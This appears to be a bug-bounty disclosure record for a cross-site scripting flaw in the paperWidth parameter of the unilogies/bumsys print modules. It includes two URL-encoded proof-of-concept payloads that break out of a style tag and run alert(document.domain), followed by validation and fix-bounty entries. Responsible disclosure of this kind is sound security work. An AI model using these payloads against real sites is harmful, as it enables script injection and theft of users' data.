Improper Neutralization of Input in paperWidth param During Web Page Generation in unilogies/bumsys


Reported on

Feb 22nd 2023

Module : print and invoice-print Parameter : paperWidth

Attacker would be able to close the <style> tag and can inject html tags

POC :;}%3C/style%3E%3Cbody+onpageshow=alert(document.domain)%3E POC :;}%3C/style%3E%3Cbody+onpageshow=alert(document.domain)%3E&msg=%3Ca%3E


It could lead to steal data using javascript execution.

We are processing your report and will contact the unilogies/bumsys team within 24 hours. a month ago
Khurshid Alam validated this vulnerability a month ago
mukundbhuva has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Khurshid Alam marked this as fixed in v2.0.1 with commit 927214 a month ago
Khurshid Alam has been awarded the fix bounty
This vulnerability will not receive a CVE
Khurshid Alam published this vulnerability a month ago
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